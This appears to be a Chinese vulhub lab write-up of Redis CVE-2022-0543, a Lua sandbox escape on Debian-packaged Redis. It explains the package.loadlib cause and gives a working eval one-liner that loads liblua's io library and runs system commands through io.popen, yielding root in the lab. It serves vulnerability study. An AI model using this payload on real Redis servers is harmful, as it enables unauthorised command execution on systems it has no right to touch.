【vulhub】redis CVE-2022-0543(redis沙盒逃逸)
渗透环境
攻击机: IP: 192.168.66.130(Kali)
漏洞收录于:vulhub/redis/CVE-2022-0543
涉及知识点:redis沙盒逃逸
漏洞详情
受影响的系统:
- 仅限于 Debian 系 Linux 发行版(如 Debian、Ubuntu)及其衍生版本。
- 不受影响的系统:CentOS、RHEL 等非 Debian 系发行版不受此漏洞影响(漏洞源于 Debian 维护者在打包 Redis 时的补丁问题,而非 Redis 自身代码问题)。
受影响的 Redis 版本范围:
- redis版本小于等于6.x的都可以尝试。
触发条件:
攻击者需具备 Redis 的未授权访问权限或合法凭证。
漏洞原理
背景
Redis 允许通过eval命令执行 Lua 脚本,但正常情况下这些脚本运行在沙箱中,无法执行系统命令或文件操作。补丁引入的漏洞
Debian/Ubuntu 在打包 Redis 时,通过补丁代码向 Lua 沙箱中注入了一个名为package的全局对象。该对象本应在源码中被注释(出于沙箱安全考虑),但补丁错误地重新启用了它。沙盒逃逸过程
- 加载动态库:攻击者可通过
package.loadlib加载 Lua 系统库(如liblua5.1.so.0),调用其导出函数(如luaopen_io)获取io库权限。 - 执行命令:利用
io.popen等函数执行任意系统命令。
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("whoami", "r"); -- 执行系统命令
local res = f:read("*a");
f:close();
return res;
- 加载动态库:攻击者可通过
攻击思路:
单从攻击角度而言,可以使用redis未授权相同的打法,博客见:【vulhub】redis 4-unacc (redis未授权访问) - Mr_Soap - 博客园
从漏洞角度来看,使用eval函数执行上面的逃逸过程即可。
复现漏洞
一、 启动漏洞容器
docker-compose up -d

可以看到redis运行在默认端口6379上
二、未授权连接
redis-cli -h 192.168.66.130
redis-cli -h [IP] -p [port] -a [password]
当使用默认端口6379时可不使用参数-p
测试连接,ping一下,成功连接

三、get shell
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");local io = io_l();local f = io.popen("whoami", "r");local res = f:read("*a");f:close();return res;' 0

可以看到命令都已经成功执行,我们已经拿到了root权限
【vulhub】redis CVE-2022-0543(redis沙盒逃逸)的更多相关文章
- 再谈CVE-2017-7047 Triple_Fetch和iOS 10.3.2沙盒逃逸
作者:蒸米 ----------------- 0x00 序 Ian Beer@google发布了CVE-2017-7047Triple_Fetch的exp和writeup[1],chenliang@ ...
- python沙盒逃逸
前言 最近遇到了很多python沙盒逃逸的题目(不知道是不是因为现在python搭的站多了--),实际使用时发现只会复制别人的payload是不够用的,于是自己来总结一波(顺带一提python沙盒逃逸 ...
- SSTI注入绕过(沙盒逃逸原理一样)
在python沙盒逃逸中绕过道理是一样的. 1.python沙盒中删除了很多模块,但是没有删除reload reload(__builtins__),重新加载被删除的模块,直接命令执行,只用于py2 ...
- python-Flask模版注入攻击SSTI(python沙盒逃逸)
一篇以python Flask 模版渲染为例子的SSTI注入教学~ 0x01 Flask使用和渲染 这里简化了flask使用和渲染的教程 只把在安全中我们需要关注的部分写出来 来一段最简单的FLASK ...
- seccomp沙盒逃逸基础——沙盒的规则编写
seccomp沙盒逃逸基础--沙盒的规则编写 引入: 安全计算模式 seccomp(Secure Computing Mode)是自 Linux 2.6.10 之后引入到 kernel 的特性.一切都 ...
- Vulhub 漏洞学习之:Redis
Vulhub 漏洞学习之:Redis 1 Redis简介 Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库.Redis 与其他 key - value 缓存产品 ...
- 为什么 Redis 的查询很快, Redis 如何保证查询的高效
Redis 如何保证高效的查询效率 为什么 Redis 比较快 Redis 中的数据结构 1.简单动态字符串 SDS 对比 c 字符串的优势 SDS可以常数级别获取字符串的长度 杜绝缓冲区溢出 减少修 ...
- CVE-2015-1427(Groovy 沙盒绕过 && 代码执行漏洞)
1.vulhub环境搭建 https://blog.csdn.net/qq_36374896/article/details/84102101 2.启动docker环境 cd vulhub-maste ...
- 沙盒解决方案解决SharePoint 2013 以其他身份登陆的问题
众所周知,SharePoint 2013没有像SharePoint 2010那样有一个叫"以其他身份登录"的菜单项. 当然解决方案也很多,比如你可以直接修改Welcome.ascx ...
- SharePoint 2013 沙盒解决方案不能激活(激活按钮不可用)
把沙盒解决方案上传到目标站点的"解决方案"库中,发现"激活"按钮是灰掉的,不可用. 首先,我想到的是权限不足,所以 "以管理员身份"启动IE ...
随机推荐
- 中电金信通过KCSP认证 云原生能力获权威认可
中电金信通过KCSP(Kubernetes Certified Service Provider)认证,正式成为CNCF(云原生计算基金会)官方认证的 Kubernetes 服务提供商. Ku ...
- swagger 文件上传以及requestbody参数传递
swagger用来做普通的API测试很方便,在实际开发过程中,经常会有文件上传,或者通过reuestbody传递数据等方式. 这个时候swagger的配置就有一些特殊了 . swagger reque ...
- Qt/C++音视频开发52-采集本地屏幕桌面的终极设计
一.前言 最开始设计的时候,只考虑了一个屏幕的情况,这种当然是最理想的情况,实际上双屏或者多屏的用户也不在少数,比如我这两个屏幕,屏幕1是1080P,屏幕2是2K分辨率,打印两个屏幕的区域是 QRec ...
- 长连接网关技术专题(四):爱奇艺WebSocket实时推送网关技术实践
本文由爱奇艺技术团队原创分享,原题<构建通用WebSocket推送网关的设计与实践>,有优化和改动. 1.引言 丛所周之,HTTP协议是一种无状态.基于TCP的请求/响应模式的协议,即请求 ...
- [LC515]在每个树的行中找最大值
题目内容 题目分析 这是一道典型的树结构遍历题,可以使用层序遍历(BFS)或者(DFS)进行解题. 在BFS中,使用队列结构遍历树的每一层并维护每层的最大值. 在DFS中,由于并不是一层一层的去访问树 ...
- .NET 9.0 使用 Vulkan API 编写跨平台图形应用
前言 大家好,这次我来分享一下我自己实现的一个 Vulkan 库,这个库是用 C# 实现的,主要是为了学习 Vulkan 而写的. 在学习 Vulkan 的过程中,我主要参考 veldrid,它是一个 ...
- 高性能的RTC服务器OpenFire
<高性能的RTC服务器OpenFire>-第一章部署与源码调试 前言 OpenFire是什么,以及它能做什么?或许这是许多开发人员最关心的一个话题.简单来说,OpenFire是一个采用纯J ...
- 防止SQL注入的五种方法
1.首先看一下下面两个sql语句的区别: <select id="selectByNameAndPassword" parameterType="java.util ...
- threejs 实现镜面反射,只反射指定物体,背景透明
一.背景 最近在做数字孪生项目,使用threejs渲染模型,UI要求地面反射建筑物,也就是模型要有倒影. 二.调研 在官网找到一个镜面反射的例子(https://threejs.org/example ...
- C++:随机数生成
C++中生成随机数:需要用到的函数,一个是rand(),该函数只返回一个伪随机数.生成随机数之前必须先调用srand()函数. 生成随机数 #include iostream; #include ct ...